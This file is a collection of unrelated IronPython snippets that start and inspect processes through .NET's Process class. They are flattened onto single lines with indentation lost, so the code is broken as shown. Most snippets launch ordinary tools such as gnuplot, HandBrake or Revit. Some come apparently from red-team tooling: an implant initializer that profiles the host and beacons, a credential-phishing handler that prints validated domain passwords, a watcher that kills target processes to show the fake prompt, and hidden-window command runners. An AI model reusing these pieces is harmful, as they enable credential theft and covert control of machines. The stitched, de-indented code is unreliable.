def ShellExecute(ShellCommand, Path="C:\\WINDOWS\\System32\\", Username=None, Domain=None, Password=None): ShellCommandName = ShellCommand.split()[0] ShellCommandArguments = ' '.join(ShellCommand.split()[1:]) print "[*] Path: {} Command: {} Args: {}".format(Path, ShellCommandName, ShellCommandArguments) shellProcess = Process() if Username and Domain and Password: print "[*] Running command as {}\\{}:{}".format(Domain, Username, Password) shellProcess.StartInfo.UserName = Username shellProcess.StartInfo.Domain = Domain SecurePassword = SecureString() for c in Password: SecurePassword.AppendChar(c) shellProcess.StartInfo.Password = SecurePassword shellProcess.StartInfo.FileName = ShellCommandName shellProcess.StartInfo.Arguments = ShellCommandArguments shellProcess.StartInfo.WorkingDirectory = Path shellProcess.StartInfo.UseShellExecute = False shellProcess.StartInfo.CreateNoWindow = True shellProcess.StartInfo.RedirectStandardOutput = True shellProcess.Start() output = shellProcess.StandardOutput.ReadToEnd() shellProcess.WaitForExit() return output
def sendGameCommand(inputString): #log("Python is located at: " + pythonPath + " and script is " + scriptPath) #log("running external process...") p = Process() p.StartInfo.FileName = pythonPath # oh my gosh why does the chatbot folder have a space in it pArgs = "" pArgs = pArgs + "\"" + scriptPath + "\"" + " " + str( settings[Settings_UseDelays]) pArgs = pArgs + " " + settings[Settings_BufferDelay] + " " + settings[ Settings_HoldDelay] + " " + settings[Settings_PressDelay] pArgs = pArgs + " " + str(settings[Settings_UseFnKeys]) + " " + inputString p.StartInfo.Arguments = pArgs #log(pArgs) p.StartInfo.RedirectStandardError = True p.StartInfo.UseShellExecute = False p.StartInfo.CreateNoWindow = True p.Start() #log("process started: " + p.StartInfo.FileName + p.StartInfo.Arguments) p.WaitForExit() #log("process exited with " + str(p.ExitCode)) pErrors = p.StandardError.ReadToEnd() if len(pErrors) > 0: log(p.StandardError.ReadToEnd()) return
def rip(driveLetter, movieName): out = Path.Combine(Path.GetTempPath(), movieName) # for debugging if True: return Directory.GetFiles(out)[0] print("Saving to: '%s'" % out) if not os.path.exists(out): os.makedirs(out) p = Process() p.StartInfo.UseShellExecute = False #p.StartInfo.RedirectStandardOutput = True p.StartInfo.FileName = "makemkvcon" p.StartInfo.Arguments = '--minlength=2700 mkv disc:0 all "%s"' % out print("Saving to: '%s'" % out) print(p.StartInfo.Arguments) if p.Start(): print("Ripping") p.WaitForExit() if p.ExitCode == 0: print("Successfully ripped %s" % movieName) return Directory.GetFiles(out)[0] else: print("Error: %d" % p.ExitCode) else: print("Error ripping, quitting")
def ExitApp(): from System.Diagnostics import Process p = Process() p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.FileName = 'TASKKILL' p.StartInfo.Arguments = '/IM logiccircuit.exe' p.Start() p.WaitForExit()
def __init__(self, pathToBin, wkDir, *parms): self.proc = Process() self.proc.StartInfo.FileName = pathToBin self.proc.StartInfo.WorkingDirectory = wkDir self.proc.StartInfo.Arguments = " ".join(parms) self.proc.StartInfo.UseShellExecute = False self.proc.StartInfo.RedirectStandardOutput = True self.proc.StartInfo.RedirectStandardInput = True self.proc.StartInfo.RedirectStandardError = True
def LaunchGnuplot(gnuplotPath, scriptPath, fontPath): proc = Process() proc.StartInfo.FileName = gnuplotPath proc.StartInfo.Arguments = '"%s"' % scriptPath proc.StartInfo.EnvironmentVariables['GDFONTPATH'] = fontPath proc.StartInfo.EnvironmentVariables['GNUPLOT_FONTPATH'] = fontPath proc.StartInfo.UseShellExecute = False proc.Start() proc.WaitForExit()
def run_tool(toolname, params): # run the external tool app = Process() app.StartInfo.FileName = toolname app.StartInfo.Arguments = params app.Start() done = app.WaitForExit() return done
def generate(exe, mod_name): proc = Process() proc.StartInfo.FileName = exe proc.StartInfo.Arguments = "logmodule.py " + mod_name proc.StartInfo.UseShellExecute = False proc.StartInfo.RedirectStandardOutput = True if not proc.Start(): raise Exception("process failed to start") return proc.StandardOutput.ReadToEnd()
def func(self, idict=None, **kwargs): if not idict: idict = {} idict.update(kwargs) with open(self.ipath, 'wb+') as fh: json.dump(idict, fh) with open(self.opath, 'wb+') as fh: fh.write('') p = Process() p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardError = True p.StartInfo.FileName = self.python p.StartInfo.Arguments = '-u {0} {1} {2}'.format( self.script, self.ipath, self.opath) p.Start() p.WaitForExit() while True: # combine with updatefunc? # into userfunc? if self.waitfunc: self.waitfunc() line = p.StandardOutput.ReadLine() if not line: break line = line.strip() print(line) # check if this does what it is supposed to do if self.updatefunc: self.updatefunc(self.updateconduit, line) stderr = p.StandardError.ReadToEnd() if stderr: self.error = stderr raise ScriptServerError(stderr) print(p.StandardOutput.ReadToEnd()) print(p.ExitCode) with open(self.opath, 'rb') as fh: result = json.load(fh) if not result: self.error = 'No output was generated.' raise ScriptServerError(self.error) self.error = result.get('error', None) if self.error: raise ScriptServerError(self.error) self.data = result.get('data', None) self.profile = result.get('profile', '') self.iterations = result.get('iterations', []) return self.data
def _xecute(self, *args, **kwargs): """Execute a function with optional positional and named arguments. """ idict = {'args': args, 'kwargs': kwargs} with open(self.ipath, 'w+') as fh: json.dump(idict, fh, cls=DataEncoder) with open(self.opath, 'w+') as fh: fh.write('') p = Process() p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardError = True p.StartInfo.FileName = self.python p.StartInfo.Arguments = '-u -c "{0}" {1} {2} {3} {4}'.format( WRAPPER, self.basedir, self.funcname, self.ipath, self.opath) p.Start() p.WaitForExit() while True: line = p.StandardOutput.ReadLine() if not line: break line = line.strip() if self.verbose: print(line) stderr = p.StandardError.ReadToEnd() print(stderr) with open(self.opath, 'r') as fh: odict = json.load(fh, cls=DataDecoder) self.data = odict['data'] self.profile = odict['profile'] self.error = odict['error'] if self.delete_files: try: os.remove(self.ipath) except OSError: pass try: os.remove(self.opath) except OSError: pass if self.error: raise Exception(self.error) return self.data
def Popen(CMD, *a, **b): ''' CMD is a list - a command and its arguments ''' p = Process() p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardInput = True p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardError = True p.StartInfo.FileName = CMD[0] p.StartInfo.Arguments = ' '.join(CMD[1:]) p.Start() return(p)
def __init__(self, args, executable, stdin=None, stdout=None, stderr=None): self.p = Process() i = self.p.StartInfo i.UseShellExecute = False i.RedirectStandardInput = True i.RedirectStandardOutput = True i.RedirectStandardError = True i.FileName = executable args.pop(0) i.Arguments = " ".join(args)
def __init__(self): self.__process = Process.GetCurrentProcess() self.__jobs = [] self.GUID = GUID self.SLEEP = 5000 #self.JITTER = 5000 self.TYPE = 'ipy' self.USERNAME = Environment.UserName self.DOMAIN = Environment.UserDomainName self.DOTNET_VERSION = str(Environment.Version) self.HIGH_INTEGRITY = self.is_high_integrity() self.IP = self.get_network_addresses() self.OS = "{} ({})".format(ComputerInfo().OSFullName, Environment.OSVersion.Version) self.OS_ARCH = "x64" if IntPtr.Size == 8 else "x86" self.OS_RELEASE_ID = Registry.GetValue( "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId", "") self.PROCESS = self.__process.Id self.PROCESS_NAME = self.__process.ProcessName self.HOSTNAME = Environment.MachineName self.JOBS = len(self.__jobs) self.URL = str(URL) self.COMMS = Comms(self) self.main()
def start_server(self): """Start the remote server. Returns ------- ServerProxy Instance of the proxy, if the connection was successful. Raises ------ RPCServerError If the server providing the requested service cannot be reached after 100 contact attempts (*pings*). """ env = compas._os.prepare_environment() try: Popen except NameError: self._process = Process() for name in env: if self._process.StartInfo.EnvironmentVariables.ContainsKey(name): self._process.StartInfo.EnvironmentVariables[name] = env[name] else: self._process.StartInfo.EnvironmentVariables.Add(name, env[name]) self._process.StartInfo.UseShellExecute = False self._process.StartInfo.RedirectStandardOutput = True self._process.StartInfo.RedirectStandardError = True self._process.StartInfo.FileName = self.python self._process.StartInfo.Arguments = '-m {0} {1}'.format(self.service, str(self._port)) self._process.Start() else: args = [self.python, '-m', self.service, str(self._port)] self._process = Popen(args, stdout=PIPE, stderr=STDOUT, env=env) server = ServerProxy(self.address) print("Starting a new proxy server...") success = False count = 100 while count: try: server.ping() except: time.sleep(0.1) count -= 1 print(" {} attempts left.".format(count)) else: success = True break if not success: raise RPCServerError("The server is not available.") else: print("New proxy server started.") return server
def SubmitHandler(self, sender, e): #Check if computer is part of a domain. try: clr.AddReference("System.DirectoryServices.ActiveDirectory") ctxType = ContextType.Domain except IOError: ctxType = ContextType.Machine ctx = PrincipalContext(ctxType) if ctx.ValidateCredentials(Env.UserName, self.inpBox.Text): startWatch.Stop() print "[+] CRED SUCCESS: Credentials validated against {0} -- {1}:{2}".format( ctx.ConnectedServer, Env.UserName, self.inpBox.Text) self.form.Dispose() self.form.Close() self.NewProcess = Process() self.NewProcess.StartInfo.FileName = self.path self.NewProcess.StartInfo.Arguments = self.proc['TargetInstance'][ 'CommandLine'].replace("\"{0}\"".format(self.path), "") GOT_CRED = True else: print "[-] CRED FAIL: Credentials failed against {0} -- {1}:{2}".format( Env.MachineName, Env.UserName, self.inpBox.Text) MessageBox.Show("Invalid Credentials!", "", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly)
def openCustomCommandWithList(self, dirList): if not self.settings.get("enableCustomCommand") or self.settings.get("customArgs") == "": self.dbg("Custom commands are disabled or custom args are empty. Skipping trying to open with @list@. "+self.settings.get("customArgs")) return False if not System.IO.File.Exists(self.settings.get("customExec")): MessageBox.Show(lang.enUs("customCommandNotFound")+"\n\n\""+self.settings.get("customExec")+"\"", lang.enUs("windowTitle")+" "+lang.enUs("error"), MessageBoxButtons.OK, MessageBoxIcon.Error) # We want to halt, so we pretend we did something. return True if self.settings.get("customArgs").find("@list@") > -1: parsedCommand = self.buildOpenerCommand() listLen = len(dirList) maxWin = self.settings.get("maxWindows") if maxWin > 0 and listLen > maxWin: self.dbg("Using "+str(maxWin)+" of "+str(listLen)+" directories for a single command") dirPile = '"'+'" "'.join(dirList[0:maxWin])+'"' else: self.dbg("Using "+str(listLen)+" directories for a single command") dirPile = '"'+'" "'.join(dirList)+'"' parsedArgs = self.settings.get("customArgs").replace("@list@", dirPile) try: self.dbg("Running \""+parsedCommand+"\" "+parsedArgs) Process.Start(parsedCommand, parsedArgs) except: errType, errValue, errTrace = sys.exc_info() MessageBox.Show(lang.enUs("failedCommand")+"\n\n"+parsedCommand+" "+parsedArgs+"\n\n"+str(errValue), lang.enUs("windowTitle"), MessageBoxButtons.OK, MessageBoxIcon.Warning) return True return False
def test_remote_runtime_normal_exit(): ipi = start_remote_console() consoleProcessId, remoteRuntimeProcessId = get_process_ids(ipi) runtimeProcess = Process.GetProcessById(remoteRuntimeProcessId) Assert(not runtimeProcess.HasExited) ipi.End() runtimeProcess.WaitForExit() # The test is that this wait succeeds
def transcode(mkvFile, movieName): p = Process() p.StartInfo.UseShellExecute = False #p.StartInfo.RedirectStandardOutput = True p.StartInfo.FileName = "HandBrakeCLI" p.StartInfo.Arguments = '-i "%s" -o %s.mp4 -f mp4 -e x264' % (mkvFile, movieName) if p.Start(): print("Transcoding") p.WaitForExit() if p.ExitCode == 0: print("Successfully transcoded %s" % movieName) else: print("Error: %d" % p.ExitCode) else: print("Error transcoding, quitting")
def run_cmd(command): # os.system(command) pinfo = ProcessStartInfo() pinfo.FileName = "cmd.exe" pinfo.WindowStyle = ProcessWindowStyle.Hidden pinfo.Arguments = "/C" + command cmd = Process.Start(pinfo) cmd.WaitForExit()
def popen(executable, arguments): global process # XXX: keep it alive processStartInfo = ProcessStartInfo(executable, arguments) processStartInfo.UseShellExecute = False processStartInfo.CreateNoWindow = True processStartInfo.RedirectStandardOutput = True process = Process.Start(processStartInfo) return file(process.StandardOutput.BaseStream, "r")
def onUpdate(): try: for process in Process.GetProcesses(): processList.Add(KeyValuePair[Int32, String](process.Id, process.MainWindowTitle)) except Exception, e: Trace.WriteLine(e.clsException.Message) Trace.WriteLine(e.clsException.StackTrace)
def GetEnvironmentVariables(): environmentVariables = None # NOTE: Have encountered (at least once) a NullReferenceException upon accessing the EnvironmentVariables property! try: environmentVariables = Process.GetCurrentProcess( ).StartInfo.EnvironmentVariables except NullReferenceException, e: environmentVariables = None
def ProcEventHandler(sender, e): proc = e.NewEvent if proc['TargetInstance']['Name'] in WATCHLIST: Process.GetProcessById(proc['TargetInstance']['ProcessId']).Kill() print "[+] KILL SUCCESS: {0}\t{1}".format(proc['TargetInstance']['ProcessId'], proc['TargetInstance']['CommandLine']) cp = credPhish(proc) print "[+] PROCESS SPAWNED: {0} {1}".format(cp.path, cp.NewProcess.StartInfo.Arguments) cp.NewProcess.Start() print "[!] PROCESS EXIT CODE: {0}".format(cp.NewProcess.ExitCode)
def kill_other_running_instances(): """Ensure that only this instance is running.""" log.debug("Killing other running instances of the application.") pid, exe_dir = os.getpid(), Path(sys.executable).resolve().parent for proc in Process.GetProcessesByName(app.name): if Path(proc.MainModule.FileName).resolve().parent != exe_dir: continue if proc.Id != os.getpid(): proc.Kill()
def proc_list(): """ Proc List Returns a list of process objects, one object for each of the running processes :return: A Python list containing the process objects. """ return [p for p in Process.GetProcesses()]
def start_imaging(path): psInfo = ProcessStartInfo() psInfo.FileName = path + "Imaging.exe" psInfo.Arguments = "Rowthon 1" psInfo.CreateNoWindow = False psInfo.UseShellExecute = False psInfo.RedirectStandardOutput = True p = Process.Start(psInfo)
def getProcessHanddle(name): ''' Get window handler from the name of process. Process also has Handle property which gives the handle of window. ''' p = Process.GetProcessesByName(name) if len(p) == 0: raise RuntimeError("Error: We cann't detect BlueStack.") return p[0].MainWindowHandle
def StartRevitProcess(revitVersion, initEnvironmentVariables): revitExecutableFilePath = RevitVersion.GetRevitExecutableFilePath(revitVersion) psi = ProcessStartInfo(revitExecutableFilePath) psi.UseShellExecute = False psi.RedirectStandardError = True psi.RedirectStandardOutput = True psi.WorkingDirectory = RevitVersion.GetRevitExecutableFolderPath(revitVersion) initEnvironmentVariables(psi.EnvironmentVariables) revitProcess = Process.Start(psi) return revitProcess
def runCode(self, code, interpreter="ipy.exe", insert_args=''): if interpreter == "ipy.exe": code = self.TEMPLATE % code self.write("test-code.py", code) process = Process() process.StartInfo.FileName = interpreter process.StartInfo.Arguments = "%s test-code.py" % insert_args process.StartInfo.WorkingDirectory = self.testDir process.StartInfo.UseShellExecute = False process.StartInfo.RedirectStandardOutput = process.StartInfo.RedirectStandardError = True process.Start() process.WaitForExit(600000) if not process.HasExited: process.Kill() output = process.StandardOutput.ReadToEnd() error = process.StandardError.ReadToEnd() return process.ExitCode, output, error
def start_server(self): """Start the remote server. Returns ------- ServerProxy Instance of the proxy, if the connection was successful. Raises ------ ThreadedServerError If the server providing the requested service cannot be reached. """ if self.ping_server(): print("Server running at {}...".format(self.address)) return if compas.IPY: self._process = Process() for name in self._env: if self._process.StartInfo.EnvironmentVariables.ContainsKey( name): self._process.StartInfo.EnvironmentVariables[ name] = self._env[name] else: self._process.StartInfo.EnvironmentVariables.Add( name, self._env[name]) self._process.StartInfo.UseShellExecute = False self._process.StartInfo.RedirectStandardOutput = True self._process.StartInfo.RedirectStandardError = True self._process.StartInfo.FileName = self._python self._process.StartInfo.Arguments = '-m {0} {1}'.format( 'compas.remote.services.{}'.format(self._service), str(self._port)) self._process.Start() else: args = [ self._python, '-m', 'compas.remote.services.{}'.format(self._service) ] self._process = Popen(args, stdout=PIPE, stderr=STDOUT, env=self._env) if not self.ping_server(): raise ThreadedServerError("Server unavailable at {}...".format( self.address)) print("Started {} service at {}...".format(self._service, self.address))